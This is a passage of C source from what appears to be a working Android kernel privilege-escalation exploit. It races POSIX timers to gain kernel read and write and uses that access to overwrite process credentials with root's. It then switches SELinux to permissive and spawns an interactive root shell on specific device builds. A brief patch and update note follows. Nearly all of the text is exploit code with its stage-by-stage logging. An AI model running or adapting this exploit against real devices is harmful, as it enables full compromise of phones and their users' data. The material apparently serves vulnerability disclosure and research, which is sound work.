if (result || !init_identity.security || !init_identity.usage)
goto out;
}
uint32_t selinux_offset;
{ uint64_t raw_init_security;
int result = read_stable_cred_bytes(reader_fd, probe, &layout, init_cred, init_bytes);
if (result == -2)
return -2;
if (result)
goto out;
raw_init_security = load_u64(init_bytes, DP_CRED_SECURITY_OFF);
if (init_identity.security < raw_init_security ||
init_identity.security - raw_init_security > 4096 ||
((init_identity.security - raw_init_security) & 7))
goto out;
selinux_offset = (uint32_t)(init_identity.security - raw_init_security);
}
{ int result =
kernel_read_virtual(reader_fd, probe, &layout, LINK_SELINUX_STATE + kernel_slide,
&selinux_state, sizeof(selinux_state));
if (result == -2)
return -2;
if (result || selinux_state != 1)
goto out;
}
{ int result = find_task_stable(reader_fd, probe, &layout, baseline.global_pid, marker,
"parent-pre-renew", &pre_renew_match);
if (result == -2)
return -2;
if (result)
goto out;
}
uint64_t pre_renew_cred = pre_renew_match.snapshot.cred;
if (pre_renew_cred != pre_renew_match.snapshot.real_cred || pre_renew_cred == init_cred ||
renew_identical_cred(&baseline) || capture_user_security_state(&renewed) ||
!user_security_state_equal(&baseline, &renewed))
goto out;
{ int result = find_task_stable(reader_fd, probe, &layout, baseline.global_pid, marker,
"parent", &parent_match);
if (result == -2)
return -2;
if (result)
goto out;
}
uint64_t parent_cred = parent_match.snapshot.cred;
if (parent_match.raw_task != pre_renew_match.raw_task ||
parent_cred != parent_match.snapshot.real_cred || parent_cred == pre_renew_cred ||
parent_cred == init_cred || untag_kernel_pointer(parent_cred) < DIRECT_MAP_BEGIN ||
untag_kernel_pointer(parent_cred) >= DIRECT_MAP_END ||
((parent_match.raw_task + DP_TASK_CRED_OFF) & 7))
goto out;
{ int result = read_stable_cred_bytes(reader_fd, probe, &layout, parent_cred, original_cred);
if (result == -2)
return -2;
if (result)
goto out;
}
uint64_t parent_security = load_u64(original_cred, DP_CRED_SECURITY_OFF);
if (parent_security > UINT64_MAX - selinux_offset)
goto out;
parent_security += selinux_offset;
if (untag_kernel_pointer(parent_security) < DIRECT_MAP_BEGIN ||
untag_kernel_pointer(parent_security) >= DIRECT_MAP_END ||
(untag_kernel_pointer(parent_security) & 7))
goto out;
{ int result =
read_stable_security_blob(reader_fd, probe, &layout, parent_security, shell_selinux);
if (result == -2)
return -2;
if (result || !memcmp(shell_selinux, init_identity.selinux, sizeof(shell_selinux)))
goto out;
}
memcpy(staged_cred, original_cred, sizeof(staged_cred));
for (size_t patch_index = 0; patch_index < ARRAY_SIZE(cred_field_patches); patch_index++) {
const struct cred_field_patch *patch = &cred_field_patches[patch_index];
memcpy(staged_cred + patch->offset, init_bytes + patch->offset, patch->length);
}
if (load_u64(staged_cred, DP_CRED_SECURITY_OFF) !=
load_u64(original_cred, DP_CRED_SECURITY_OFF) ||
load_u64(staged_cred, DP_CRED_USER_OFF) != load_u64(original_cred, DP_CRED_USER_OFF) ||
load_u64(staged_cred, DP_CRED_USER_NS_OFF) !=
load_u64(original_cred, DP_CRED_USER_NS_OFF) ||
load_u64(staged_cred, DP_CRED_UCOUNTS_OFF) !=
load_u64(original_cred, DP_CRED_UCOUNTS_OFF) ||
load_u64(staged_cred, DP_CRED_GROUP_INFO_OFF) !=
load_u64(original_cred, DP_CRED_GROUP_INFO_OFF) ||
load_u64(staged_cred, DP_CRED_USER_NS_OFF) != init_identity.user_ns)
goto out;
printf("STAGE8_CRED_RENEW_PASS task=%#llx old=%#llx private=%#llx "
"security=%#llx\n",
(unsigned long long)parent_match.raw_task, (unsigned long long)pre_renew_cred,
(unsigned long long)parent_cred, (unsigned long long)parent_security);
shared = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (shared == MAP_FAILED)
goto out;
memset(shared, 0, 0x1000);
atomic_init(&shared->child_fds_closed, 0);
atomic_init(&shared->child_security_ready, 0);
atomic_init(&shared->child_ready, 0);
atomic_init(&shared->child_shell_go, 0);
{ int result = verify_task_cred_pair(reader_fd, probe, &layout, parent_match.raw_task,
parent_cred, parent_cred);
if (result == -2)
return -2;
if (result)
goto out;
}
printf("STAGE8_CRED_TARGET_GATE_PASS task=%#llx cred=%#llx reads=%d\n",
(unsigned long long)parent_match.raw_task, (unsigned long long)parent_cred,
DP_TASK_STABLE_READS);
sigfillset(&all_signals);
if (pthread_sigmask(SIG_SETMASK, &all_signals, &old_signals))
goto out;
signals_blocked = 1;
cred_dirty = 1;
{ int result = write_cred_fields(reader_fd, probe, &layout, parent_cred, staged_cred);
if (result) {
if (result == -2 || result == -3)
hold_cred_unknown();
if (restore_cred_fields(reader_fd, probe, &layout, parent_cred, original_cred))
hold_cred_unknown();
cred_dirty = 0;
printf("STAGE8_CRED_STAGE_FAIL restored=1 stage=write "
"result=%d\n",
result);
goto out;
}
}
{ int result = verify_cred_fields(reader_fd, probe, &layout, parent_cred, staged_cred);
if (result) {
if (result == -2)
hold_cred_unknown();
if (restore_cred_fields(reader_fd, probe, &layout, parent_cred, original_cred))
hold_cred_unknown();
cred_dirty = 0;
printf("STAGE8_CRED_STAGE_FAIL restored=1 stage=verify "
"result=%d\n",
result);
goto out;
}
}
if (capture_user_security_state(&staged_user) ||
!root_shell_security_gate(&staged_user, &baseline)) {
if (restore_cred_fields(reader_fd, probe, &layout, parent_cred, original_cred))
hold_cred_unknown();
cred_dirty = 0;
printf("STAGE8_CRED_STAGE_FAIL restored=1 stage=user_gate "
"uid=%u context=%s\n",
staged_user.uid, staged_user.context);
goto out;
}
child = syscall(SYS_clone, SIGCHLD, 0, NULL, NULL, 0);
if (!child) {
int close_result;
if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) || syscall(SYS_getppid) != baseline.local_pid)
_exit(1);
close_result = syscall(SYS_close_range, STDERR_FILENO + 1, ~0U, 0U) ? -1 : 0;
atomic_store_explicit(&shared->child_fds_closed, close_result ? -1 : 1,
memory_order_release);
while (!atomic_load_explicit(&shared->child_security_ready, memory_order_acquire))
cpu_relax();
fill_root_child_report(&shared->report);
atomic_store_explicit(&shared->child_ready, 1, memory_order_release);
while (!atomic_load_explicit(&shared->child_shell_go, memory_order_acquire))
cpu_relax();
if (pthread_sigmask(SIG_SETMASK, &old_signals, NULL)) {
dprintf(STDERR_FILENO, "\033[1;31m[-]\033[0m child signal restore failed\n");
_exit(126);
}
dprintf(STDOUT_FILENO,
"\033[1;34m[*]\033[0m interactive root child; exit to finish\n");
execl("/system/bin/sh", "sh", "-i", NULL);
dprintf(STDERR_FILENO, "\033[1;31m[-]\033[0m exec /system/bin/sh failed: %s\n",
strerror(errno));
_exit(127);
}
printf("STAGE8_CRED_STAGE_PASS task=%#llx cred=%#llx uid=0 "
"context=%s\n",
(unsigned long long)parent_match.raw_task, (unsigned long long)parent_cred,
staged_user.context);
if (child < 0)
goto out;
if (wait_atomic_set(&shared->child_fds_closed, 5000)) {
printf("STAGE8_CHILD_FAIL stage=fd_close_timeout\n");
goto release_child;
}
if (atomic_load_explicit(&shared->child_fds_closed, memory_order_acquire) != 1) {
printf("STAGE8_CHILD_FAIL stage=close_range\n");
goto release_child;
}
{ int result =
find_task_stable(reader_fd, probe, &layout, child, marker, "child", &child_match);
if (result == -2)
hold_cred_unknown();
if (result)
goto release_child;
}
if (child_match.snapshot.cred != child_match.snapshot.real_cred ||
child_match.snapshot.cred == parent_cred || child_match.snapshot.cred == init_cred)
goto release_child;
{ int result = read_stable_cred_bytes(reader_fd, probe, &layout, child_match.snapshot.cred,
child_cred);
if (result == -2)
hold_cred_unknown();
if (result || !cred_fields_equal(child_cred, staged_cred) ||
load_u64(child_cred, DP_CRED_USER_OFF) != load_u64(original_cred, DP_CRED_USER_OFF) ||
load_u64(child_cred, DP_CRED_USER_NS_OFF) !=
load_u64(original_cred, DP_CRED_USER_NS_OFF) ||
load_u64(child_cred, DP_CRED_UCOUNTS_OFF) !=
load_u64(original_cred, DP_CRED_UCOUNTS_OFF) ||
load_u64(child_cred, DP_CRED_GROUP_INFO_OFF) !=
load_u64(original_cred, DP_CRED_GROUP_INFO_OFF))
goto release_child;
}
uint64_t child_security = load_u64(child_cred, DP_CRED_SECURITY_OFF);
if (child_security > UINT64_MAX - selinux_offset)
goto release_child;
child_security += selinux_offset;
if (child_security == parent_security || child_security == init_identity.security ||
untag_kernel_pointer(child_security) < DIRECT_MAP_BEGIN ||
untag_kernel_pointer(child_security) >= DIRECT_MAP_END ||
(untag_kernel_pointer(child_security) & 7))
goto release_child;
{ int result =
read_stable_security_blob(reader_fd, probe, &layout, child_security, observed_selinux);
if (result == -2)
hold_cred_unknown();
if (result || memcmp(observed_selinux, shell_selinux, sizeof(shell_selinux)))
goto release_child;
}
printf("STAGE8_CHILD_CLONE_CRED_PASS cred=%#llx security=%#llx "
"groups=%d fds_closed=nonstdio context=shell\n",
(unsigned long long)child_match.snapshot.cred, (unsigned long long)child_security,
baseline.group_count);
printf("STAGE8_CHILD_SECURITY_PASS security=%#llx context=shell "
"unchanged=1 fds_closed=nonstdio\n",
(unsigned long long)child_security);
atomic_store_explicit(&shared->child_security_ready, 1, memory_order_release);
if (wait_atomic_set(&shared->child_ready, 5000)) {
printf("STAGE8_CHILD_FAIL stage=report_timeout\n");
goto release_child;
}
if (!validate_root_child_report(&shared->report, child, &baseline)) {
printf("STAGE8_CHILD_FAIL stage=userland uid=%u euid=%u "
"caps=%#llx capture_result=%d\n",
shared->report.uid, shared->report.euid,
(unsigned long long)shared->report.cap_effective, shared->report.capture_result);
goto release_child;
}
printf("STAGE8_CHILD_USERLAND_PASS uid=0 gid=0 groups=%d caps=%#llx\n",
shared->report.group_count, (unsigned long long)shared->report.cap_effective);
{ int result = validate_kernel_root_cred(reader_fd, probe, &layout, child_match.snapshot.cred,
"child", shell_selinux, &child_identity);
if (result == -2)
hold_cred_unknown();
if (result || child_identity.usage < 2 || child_identity.security != child_security ||
child_identity.user != load_u64(original_cred, DP_CRED_USER_OFF) ||
child_identity.user_ns != init_identity.user_ns ||
child_identity.ucounts != load_u64(original_cred, DP_CRED_UCOUNTS_OFF) ||
child_identity.group_info != load_u64(child_cred, DP_CRED_GROUP_INFO_OFF))
goto release_child;
}
printf("STAGE8_CHILD_KERNEL_CRED_PASS subjective_equals_objective=1 "
"context=shell usage=%llu security=%#llx\n",
(unsigned long long)child_identity.usage, (unsigned long long)child_identity.security);
{ int result =
kernel_read_virtual(reader_fd, probe, &layout, LINK_SELINUX_STATE + kernel_slide,
&selinux_state, sizeof(selinux_state));
if (result == -2)
hold_cred_unknown();
if (result || selinux_state != 1)
goto release_child;
}
{ int result = verify_task_cred_pair(reader_fd, probe, &layout, child_match.raw_task,
child_match.snapshot.cred, child_match.snapshot.cred);
if (result == -2)
hold_cred_unknown();
if (result)
goto release_child;
}
printf("STAGE8_CHILD_TASK_CRED_FINAL_PASS task=%#llx cred=%#llx "
"reads=%d\n",
(unsigned long long)child_match.raw_task, (unsigned long long)child_match.snapshot.cred,
DP_TASK_STABLE_READS);
printf("STAGE8_BOOT_ENFORCING_PASS baseline=%d parent=%d kernel=%u child_context=shell\n",
baseline.enforcing, staged_user.enforcing, selinux_state);
selinux_state = 0;
if (kernel_write_virtual(reader_fd, probe, &layout, LINK_SELINUX_STATE + kernel_slide,
&selinux_state, sizeof(selinux_state)))
hold_cred_unknown();
selinux_state = 1;
if (kernel_read_virtual(reader_fd, probe, &layout, LINK_SELINUX_STATE + kernel_slide,
&selinux_state, sizeof(selinux_state)) || selinux_state)
hold_cred_unknown();
printf("STAGE8_PERMISSIVE_PASS before=1 after=%u reads=1\n", selinux_state);
printf("\033[1;32m[+]\033[0m ROOT_CHILD_HOLD_PASS child=%d uid=0 context=shell "
"selinux_permissive=1\n",
child);
fflush(NULL);
atomic_store_explicit(&shared->child_shell_go, 1, memory_order_release);
if (waitpid_exact(child, &child_status)) {
dprintf(STDERR_FILENO, "\033[1;31m[-]\033[0m root child wait failed: %s\n",
strerror(errno));
hold_corrupted_state();
}
_exit(WIFEXITED(child_status) ? WEXITSTATUS(child_status) : 128 + WTERMSIG(child_status));
release_child:
dprintf(STDERR_FILENO, "\033[1;31m[-]\033[0m root child setup failed pid=%d\n", child);
if (terminate_and_reap_timed(child, &child_status, 5000))
hold_corrupted_state();
child = -1;
out:
if (cred_dirty)
hold_cred_unknown();
if (child > 0) {
if (terminate_and_reap_timed(child, &child_status, 5000))
hold_corrupted_state();
}
if (signals_blocked) {
if (pthread_sigmask(SIG_SETMASK, &old_signals, NULL))
hold_corrupted_state();
}
if (comm_changed && prctl(PR_SET_NAME, old_comm))
hold_corrupted_state();
if (shared != MAP_FAILED)
munmap(shared, 0x1000);
return -1;
}
enum standalone_profile {
STANDALONE_PROFILE_UNKNOWN,
STANDALONE_PROFILE_FRANKEL_QEMU,
STANDALONE_PROFILE_BLAZER,
};
static int read_profile_file(const char *path, char *buffer, size_t capacity) {
if (capacity < 2)
return -1;
int fd = open(path, O_RDONLY | O_CLOEXEC);
if (fd < 0)
return -1;
ssize_t length = read(fd, buffer, capacity - 1);
close(fd);
if (length <= 0)
return -1;
buffer[length] = '\0';
return 0;
}
static enum standalone_profile detect_standalone_profile(char fingerprint[PROP_VALUE_MAX]) {
static const char frankel[] =
"google/frankel/frankel:17/CP2A.260605.012/15430684:user/release-keys";
static const char blazer[] =
"google/blazer/blazer:17/CP2A.260705.006/15641320:user/release-keys";
char cmdline[8192];
char device[PROP_VALUE_MAX] = {0};
if (__system_property_get("ro.build.fingerprint", fingerprint) <= 0 ||
__system_property_get("ro.product.device", device) <= 0 ||
read_profile_file("/proc/cmdline", cmdline, sizeof(cmdline)))
return STANDALONE_PROFILE_UNKNOWN;
if (!strcmp(fingerprint, frankel) && !strcmp(device, "frankel") &&
strstr(cmdline, "androidboot.hardware=gem5") && strstr(cmdline, "ro.kernel.qemu=1"))
return STANDALONE_PROFILE_FRANKEL_QEMU;
if (!strcmp(fingerprint, blazer) && !strcmp(device, "blazer") &&
!strstr(cmdline, "androidboot.hardware=gem5") && !strstr(cmdline, "ro.kernel.qemu=1"))
return STANDALONE_PROFILE_BLAZER;
return STANDALONE_PROFILE_UNKNOWN;
}
static void configure_standalone(char **argv) {
/* The inherited environment size is part of the timed exec chain. */
static const char *const exec_environment[][2] = {
{"RACE_CPU_LIMIT", "4"},
{"RACE_CPU_BASE", "2"},
{"RACE_ROLE_MAP", "1"},
{"PIPE_COUNT", "3000"},
{"TIMER_GOAL", "58699"},
{"DELETE_WORKERS", "5"},
{"STATIC_PARTITION", "1"},
{"IRQ_BATCH_FDS", "1"},
{"IRQ_BATCH_PERIOD_NS", "50000"},
{"IRQ_ARM_LEAD_NS", "250000000"},
{"EXEC_AFTER_DELETED", "100"},
{"PRIME_START_DELETED", "32"},
{"PRIME_STOP_DELETED", "64"},
{"PRIME_MAX_SIGNALS", "0"},
{"RCU_FLUSH_TIMERS", "40000"},
{"RCU_WAIT_US", "150000"},
{"WATCHER_TIMEOUT_MS", "3000"},
{"USE_SCHED_IDLE", "0"},
{"WAKE_THREADS", "0"},
{"SIGNAL_THREADS", "0"},
{"MEMBARRIER_THREADS", "0"},
};
char fingerprint[PROP_VALUE_MAX] = {0};
const char *profile_name;
const char *repeats;
const char *batch;
const char *attempts;
const char *controlled_attempts;
enum standalone_profile profile = detect_standalone_profile(fingerprint);
race_cpu_limit = 4;
race_cpu_base = 2;
pipe_count = 3000;
timer_goal = 58699;
worker_goal = 5;
irq_batch_fds = 1;
irq_batch_period_ns = 50000;
irq_arm_lead_ns = 250000000;
exec_after_deleted = 100;
prime_start_deleted = 32;
rcu_flush_timers = 40000;
rcu_wait_us = 150000;
watcher_timeout_ms = 3000;
if (profile == STANDALONE_PROFILE_FRANKEL_QEMU) {
profile_name = "frankel-qemu";
repeats = "64";
batch = "16";
attempts = "8";
controlled_attempts = "32";
race_exec_repeats = 64;
race_batch = 16;
controlled_race_batch = 16;
max_attempts = 8;
controlled_max_attempts = 32;
direct_bootid_parent = FRANKEL_DIRECT_BOOTID_PARENT;
direct_cycle_c = FRANKEL_DIRECT_CYCLE_C;
pipe_reclaim_count = 16;
} else if (profile == STANDALONE_PROFILE_BLAZER) {
profile_name = "blazer";
repeats = "24";
batch = "1";
attempts = "16";
controlled_attempts = "16";
race_exec_repeats = 24;
race_batch = 1;
controlled_race_batch = 1;
max_attempts = 16;
controlled_max_attempts = 16;
direct_bootid_parent = BLAZER_DIRECT_BOOTID_PARENT;
direct_cycle_c = BLAZER_DIRECT_CYCLE_C;
pipe_reclaim_count = 80;
} else {
fprintf(stderr, "TARGET_PROFILE_GATE_FAIL fingerprint=%s\n",
fingerprint[0] ? fingerprint : "unavailable");
exit(2);
}
for (size_t index = 0; index < ARRAY_SIZE(exec_environment); index++) {
if (setenv(exec_environment[index][0], exec_environment[index][1], 1))
die("setenv standalone");
}
if (setenv("RACE_EXEC_REPEATS", repeats, 1) || setenv("RACE_BATCH", batch, 1) ||
setenv("MAX_ATTEMPTS", attempts, 1) || setenv("CONTROLLED_RACE_BATCH", batch, 1) ||
setenv("CONTROLLED_MAX_ATTEMPTS", controlled_attempts, 1))
die("setenv standalone profile");
if (getenv("_NEBUSEC_STANDALONE_CONFIGURED")) {
fprintf(stderr,
"TARGET_PROFILE_GATE_PASS profile=%s fingerprint=%s "
"direct_parent=%#llx direct_child=%#llx pipe_reclaim=%d "
"repeats=%d batch=%d attempts=%d controlled=%d\n",
profile_name, fingerprint, (unsigned long long)direct_bootid_parent,
(unsigned long long)direct_cycle_c, pipe_reclaim_count, race_exec_repeats,
race_batch, max_attempts, controlled_max_attempts);
return;
}
if (setenv("_NEBUSEC_STANDALONE_CONFIGURED", "1", 1))
die("setenv standalone marker");
execv("/proc/self/exe", argv);
die("execv standalone");
}
int main(int argc, char **argv) {
unsigned char fake_fragment[ORDER1_SIZE] __attribute__((aligned(0x1000)));
struct sigaction ignore;
char baseline[64];
uint64_t baseline0;
uint64_t baseline1;
struct watcher_result stage0_result;
struct watcher_result marker_result;
struct controlled_page page;
struct pipe_reclaim_probe pipe_probe;
struct stat uhid_stat = {0};
int stage0_pass = 0;
int attempt;
if (argc > 1 && !strcmp(argv[1], "--exec-child")) {
char *end;
long parsed;
if (argc != 5)
return 102;
errno = 0;
parsed = strtol(argv[3], &end, 0);
if (!*argv[3] || errno || end == argv[3] || *end || parsed < 0 || parsed >= CPU_SETSIZE)
return 102;
race_cpu_base = (int)parsed;
return exec_child(argv[2], argv[4]);
}
configure_standalone(argv);
kernel_state_owner = getpid();
online_cpu_count = sysconf(_SC_NPROCESSORS_ONLN);
if (online_cpu_count < 8 || online_cpu_count > CPU_SETSIZE) {
fprintf(stderr, "TARGET_CPU_GATE_FAIL online=%d\n", online_cpu_count);
return 2;
}
cpu_count = race_cpu_limit;
if (apply_race_cpu_limit() || verify_role_cpus())
return 2;
raise_limits();
memset(&ignore, 0, sizeof(ignore));
ignore.sa_handler = SIG_IGN;
sigaction(SIGUSR1, &ignore, NULL);
sigaction(SIGUSR2, &ignore, NULL);
{ sigset_t blocked;
sigemptyset(&blocked);
sigaddset(&blocked, SIGRTMIN);
if (sigprocmask(SIG_BLOCK, &blocked, NULL))
die("sigprocmask realtime");
}
membarrier_registered =
!syscall(SYS_membarrier, MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0);
setvbuf(stdout, NULL, _IONBF, 0);
if (race_cpu_limit)
printf("RACE_CPU_LIMIT_GATE_PASS requested=%d base=%d online=%d "
"effective=%d logical=0-%d affinity=%d-%d\n",
race_cpu_limit, race_cpu_base, online_cpu_count, cpu_count, cpu_count - 1,
race_cpu_base, race_cpu_base + cpu_count - 1);
printf("RACE_ROLE_PREFLIGHT_PASS exec=%d parent=%d delete=%d-%d "
"chain_count=%d chain_base=%d\n",
RACE_ROLE_EXEC_CPU, RACE_ROLE_PARENT_CPU, RACE_ROLE_DELETE_FIRST_CPU,
RACE_ROLE_DELETE_FIRST_CPU + RACE_ROLE_DELETE_CPU_COUNT - 1, cpu_count, race_cpu_base);
{ int fd = open(UHID_PATH, O_RDWR | O_CLOEXEC);
if (fd < 0 || fstat(fd, &uhid_stat) || major(uhid_stat.st_rdev) != 10 ||
minor(uhid_stat.st_rdev) != UHID_MINOR) {
if (fd >= 0)
close(fd);
fprintf(stderr, "UHID_GATE_FAIL errno=%d major=%u minor=%u\n", errno,
major(uhid_stat.st_rdev), minor(uhid_stat.st_rdev));
return 3;
}
close(fd);
printf("UHID_GATE_PASS major=%u minor=%u\n", major(uhid_stat.st_rdev),
minor(uhid_stat.st_rdev));
}
printf("RACE_CONFIG batch=%d max_attempts=%d controlled_batch=%d "
"controlled_max_attempts=%d irq_batch_fds=%d "
"irq_batch_period_ns=%ld irq_arm_lead_ns=%ld "
"exec_after_deleted=%d timer_goal=%d exec_repeats=%d\n",
race_batch, max_attempts, controlled_race_batch, controlled_max_attempts, irq_batch_fds,
irq_batch_period_ns, irq_arm_lead_ns, exec_after_deleted, timer_goal, race_exec_repeats);
if (read_boot_id(baseline, &baseline0, &baseline1)) {
perror("read boot_id baseline");
return 3;
}
stage0_baseline0 = baseline0;
stage0_baseline1 = baseline1;
if (read_timer_slab(&slab_baseline_active, &slab_baseline_total)) {
perror("read posix_timers_cache baseline");
return 4;
}
printf("ENV_GATE uid=%d cpus=%d page=%ld membarrier=%d boot_id=%s", getuid(), cpu_count,
sysconf(_SC_PAGESIZE), membarrier_registered, baseline);
printf("SLAB_BASELINE active=%d total=%d\n", slab_baseline_active, slab_baseline_total);
boot_validation = BOOT_VALIDATE_KASLR;
forged_parent = direct_bootid_parent;
forged_child = direct_cycle_c;
build_fake_fragment(fake_fragment);
for (attempt = 1; attempt <= max_attempts; attempt++) {
int result = exploit_attempt(attempt, fake_fragment, &stage0_result);
if (result > 0) {
atomic_store_explicit(&kernel_state_dirty, 1, memory_order_release);
stage0_pass = 1;
break;
}
if (result < 0) {
hold_cred_unknown();
}
}
if (!stage0_pass) {
printf("BOOTID_WRITE_MISS attempts=%d\n", max_attempts);
return 1;
}
printf("STAGE0_GATE_PASS slide=%#llx kernel_base=%#llx\n",
(unsigned long long)stage0_result.slide,
(unsigned long long)(LINK_IMAGE_BASE + stage0_result.slide));
kernel_slide = stage0_result.slide;
prepare_controlled_page(&page);
pipe_reclaim_probe_init(&pipe_probe);
prepare_controlled_page(&pipe_probe.carrier);
pipe_probe.base = pipe_probe.carrier.base;
crosscache_page_base = page.base;
printf("PIPE_CARRIER_PREPARED base=%#llx before_bridge=1\n",
(unsigned long long)pipe_probe.carrier.base);
boot_validation = BOOT_VALIDATE_MISC_BRIDGE;
forged_parent = LINK_MISC_LIST + kernel_slide - 8;
forged_child = fake_misc_child(page.base, 0, 0);
race_batch = controlled_race_batch;
build_misc_fragments(page.base);
if (read_timer_slab(&slab_baseline_active, &slab_baseline_total))
die("read timer slab before marker write");
printf("MISC_BRIDGE_STAGE_BEGIN base=%#llx list=%#llx slab=%d/%d\n",
(unsigned long long)page.base, (unsigned long long)forged_child, slab_baseline_active,
slab_baseline_total);
for (attempt = 1; attempt <= controlled_max_attempts; attempt++) {
int result = exploit_attempt(attempt, fake_fragment, &marker_result);
if (result > 0) {
const uint64_t marker = NEBUSEC_MAGIC;
uint64_t before = 0;
uint64_t after = 0;
uint64_t observed = 0;
uint64_t scratch = page.base + BRIDGE_SCRATCH_OFF;
int bridge_fd = open_verified_bridge(&observed);
int status = 0;
if (bridge_fd < 0) {
printf("MISC_BRIDGE_RW_FAIL stage=open fd=%d "
"observed=%#llx errno=%d\n",
bridge_fd, (unsigned long long)observed, errno);
hold_corrupted_state();
}
printf("MISC_BRIDGE_OPEN_PASS fd=%d observed=%#llx\n", bridge_fd,
(unsigned long long)observed);
if (restore_misc_list(bridge_fd)) {
printf("MISC_BRIDGE_RESTORE_FAIL stage=misc_list "
"errno=%d\n",
errno);
hold_corrupted_state();
}
if (restore_stage0_state(bridge_fd, baseline0, baseline1)) {
printf("MISC_BRIDGE_RESTORE_FAIL stage=stage0 "
"errno=%d\n",
errno);
hold_corrupted_state();
}
if (bridge_read64(bridge_fd, scratch, &before) ||
bridge_write64(bridge_fd, scratch, marker) ||
bridge_read64(bridge_fd, scratch, &after) || after != marker ||
bridge_write64(bridge_fd, scratch, before)) {
printf("MISC_BRIDGE_RW_FAIL fd=%d before=%#llx "
"after=%#llx errno=%d\n",
bridge_fd, (unsigned long long)before, (unsigned long long)after, errno);
status = 6;
goto bridge_cleanup;
}
printf("MISC_BRIDGE_RW_PASS fd=%d observed=%#llx "
"scratch=%#llx marker=%#llx\n",
bridge_fd, (unsigned long long)observed, (unsigned long long)scratch,
(unsigned long long)after);
{ int pipe_result = prepare_pipe_reclaim(bridge_fd, &pipe_probe);
if (pipe_result == -2)
hold_cred_unknown();
if (!pipe_result)
goto pipe_reclaim_ready;
printf("PIPE_RECLAIM_FAIL base=%#llx errno=%d\n",
(unsigned long long)pipe_probe.base, errno);
status = 9;
goto bridge_cleanup;
}
pipe_reclaim_ready: {
int physical_result = run_physical_rw_probe(bridge_fd, &page, &pipe_probe);
if (physical_result == -2)
hold_cred_unknown();
if (physical_result) {
printf("PHYS_PROBE_FAIL stage=run errno=%d\n", errno);
status = 10;
goto bridge_cleanup;
}
}
{ int root_result = run_stage8_root_probe(bridge_fd, &pipe_probe);
if (root_result == -2)
hold_cred_unknown();
dprintf(STDERR_FILENO, "\033[1;31m[-]\033[0m STAGE8_ROOT_FAIL result=%d errno=%d\n",
root_result, errno);
status = 11;
goto bridge_cleanup;
}
bridge_cleanup:
if (pipe_probe.meta_state != PIPE_META_NATIVE)
hold_cred_unknown();
if (confirm_stage0_cycle(bridge_fd)) {
printf("KERNEL_STATE_RESTORE_NOT_PROVEN stage=cycle\n");
hold_corrupted_state();
}
close(bridge_fd);
bridge_fd = -1;
if (verify_real_uhid()) {
printf("UHID_RESTORE_FAIL errno=%d\n", errno);
hold_corrupted_state();
}
pipe_reclaim_probe_cleanup(&pipe_probe);
close_fd_pair(page.sockets);
if (confirm_stage0_baseline() || verify_real_uhid() || verify_real_uhid()) {
printf("KERNEL_STATE_RESTORE_NOT_PROVEN errno=%d\n", errno);
hold_corrupted_state();
}
atomic_store_explicit(&kernel_state_dirty, 0, memory_order_release);
printf("KERNEL_STATE_RESTORE_PASS dirty=0\n");
return status;
}
if (result < 0) {
hold_cred_unknown();
}
}
printf("MISC_BRIDGE_MISS_PRESERVE base=%#llx attempts=%d\n", (unsigned long long)page.base,
controlled_max_attempts);
hold_corrupted_state();
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
The upstream correction adds the memory ordering needed when sighand becomes NULL and retries task lookup across a thread-group leader replacement. The affected timer operations therefore find the new leader or safely conclude that the task is gone instead of freeing a timer which remains queued.
Install an Android or Linux kernel update containing the applicable stable backport. Confirm through the vendor’s changelog or CVE notice rather than comparing only the visible kernel version.
